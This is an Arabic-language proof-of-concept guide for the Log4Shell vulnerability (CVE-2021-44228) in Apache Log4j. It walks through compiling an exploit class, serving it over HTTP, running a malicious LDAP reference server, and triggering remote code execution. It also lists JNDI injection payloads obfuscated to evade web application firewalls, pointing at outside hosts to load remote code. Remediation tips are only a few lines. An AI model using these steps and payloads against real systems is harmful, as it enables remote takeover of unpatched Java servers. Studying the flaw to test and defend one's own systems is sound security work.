
استغلال إثبات المفهوم لـ CVE-2021-44228 (Log4Shell) مع حقن JNDI LDAP/RMI، وتجميع الحمولة، وتقنيات تجاوز WAF لاختبار ثغرات RCE في Log4j.
إصدارات 1.x تحتوي على ثغرات أخرى، نوصي بتحديثها إلى أحدث إصدار.
إعلانات / نشرات أمنية مرتبطة بـ Log4Shell (CVE-2021-44228)
قم بتنزيل هذا المشروع، وترجمة كود الاستغلال blob/master/src/main/java/Exploit.java، وابدأ خادم ويب يسمح بتنزيل الملف الثنائي المترجم.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
قم بتنزيل مشروع آخر وتشغيل تطبيق خادم LDAP الذي يعيد مراجع JNDI* https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
ابنِ وشغّل كود التفعيل (محاكاة هجوم log4j على خادم ويب جافا ضعيف) blob/master/src/main/java/log4j.java، وسيظهر تطبيق الآلة الحاسبة لديك.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
نصائح:
لا تعتمد على إصدار جافا الحالي لإنقاذك. قم بتحديث Log4 (أو أزل بحث JNDI). عطّل التوسيع (يبدو فكرة سيئة على أي حال).
على سبيل المثال:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
لا تثق بجدار حماية تطبيق الويب.
توفر عمليات البحث طريقة لإضافة قيم إلى تكوين Log4j في أي مكان.
الطرق المسببة للتسرب في النهاية
LogManager.getLogger().error()
LogManager.getLogger().fatal()
إذا كنت تريد إجراء اختبار الصندوق الأسود، أقترح عليك إجراء المسح السلبي.
استمتع!!!
